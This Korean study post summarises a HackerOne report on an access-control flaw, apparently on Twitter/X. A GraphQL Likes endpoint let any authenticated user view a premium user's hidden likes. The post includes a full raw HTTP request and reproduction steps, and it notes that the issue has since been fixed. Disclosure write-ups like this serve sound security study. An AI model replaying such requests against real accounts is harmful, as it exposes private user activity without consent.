본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다.
-분석 레포트-
https://hackerone.com/reports/2140960
summary
00 프리미엄(유료) 사용자는 자신의 프로필에서 '좋아요' 타임라인을 숨길 수 있다. 그러나 인증된 사용자는
/i/api/graphql/lVf2NuhLoYVrpN4nO7uw0Q/Likes
해당 엔드포인트에 HTTP GET 요청을 보내, userid 값 내에 대상 사용자의 sns id를 지정하여 00 프리미엄 사용자의 숨겨진 마음에 들어요를 찾을 수 있다.
예를 들어,
/i/api/graphql/lVf2NuhLoYVrpN4nO7uw0Q/Likes?variables={"userId":"██████████","count":20,"includePromotedContent":false,
해당 GET 요청이 이루어지면 애플리케이션은 대상 사용자의 숨겨진 '좋아요'를 JSON 형식으로 응답한다.
Description
GraphQL API를 테스트 중인데, 여전히 트윗을 볼 수 있다. 좋아요를 숨기려면 00 프리미엄에 가입해야 한다. 하지만 해당 취약점을 재현하기 위해 프리미엄 계정이 필요하지 않다.
Steps to Reproduce
1. 아래의 http raw request를 복사한다.
GET /i/api/graphql/lVf2NuhLoYVrpN4nO7uw0Q/Likes?variables=%7B%22userId%22%3A%22██████████%22%2C%22count%22%3A20%2C%22includePromotedContent%22%3Afalse%2C%22withClientEventToken%22%3Afalse%2C%22withBirdwatchNotes%22%3Afalse%2C%22withVoice%22%3Atrue%2C%22withV2Timeline%22%3Afalse%7D&features=%7B%22responsive_web_graphql_exclude_directive_enabled%22%3Atrue%2C%22verified_phone_label_enabled%22%3Afalse%2C%22creator_subscriptions_tweet_preview_api_enabled%22%3Atrue%2C%22responsive_web_graphql_timeline_navigation_enabled%22%3Atrue%2C%22responsive_web_graphql_skip_user_profile_image_extensions_enabled%22%3Afalse%2C%22tweetypie_unmention_optimization_enabled%22%3Atrue%2C%22responsive_web_edit_tweet_api_enabled%22%3Atrue%2C%22graphql_is_translatable_rweb_tweet_is_translatable_enabled%22%3Atrue%2C%22view_counts_everywhere_api_enabled%22%3Atrue%2C%22longform_notetweets_consumption_enabled%22%3Atrue%2C%22responsive_web_twitter_article_tweet_consumption_enabled%22%3Afalse%2C%22tweet_awards_web_tipping_enabled%22%3Afalse%2C%22freedom_of_speech_not_reach_fetch_enabled%22%3Atrue%2C%22standardized_nudges_misinfo%22%3Atrue%2C%22tweet_with_visibility_results_prefer_gql_limited_actions_policy_enabled%22%3Atrue%2C%22longform_notetweets_rich_text_read_enabled%22%3Atrue%2C%22longform_notetweets_inline_media_enabled%22%3Atrue%2C%22responsive_web_media_download_video_enabled%22%3Afalse%2C%22responsive_web_enhance_cards_enabled%22%3Afalse%7D HTTP/2
Host: 00000.com
Cookie:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://00000.com/██████/likes
Content-Type: application/json
X-Twitter-Auth-Type: OAuth2Session
X-Csrf-Token:
X-Twitter-Client-Language: en
X-Twitter-Active-User: yes
X-Client-Transaction-Id:
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Authorization:
2. proxy에 복사 붙여 넣기를 한다. ( 원하는 userid로 변경 )
3. request를 보낸다.
Impact
숨겨진 좋아요를 볼 수 있다.
조치
현재는 취약한 graphQL endpoint로 요청하면, 빈 객체를 return 받는다.
{"data":{"user":{"result":{"__typename":"User","timeline":{}}}}}
Improper Access Control - Generic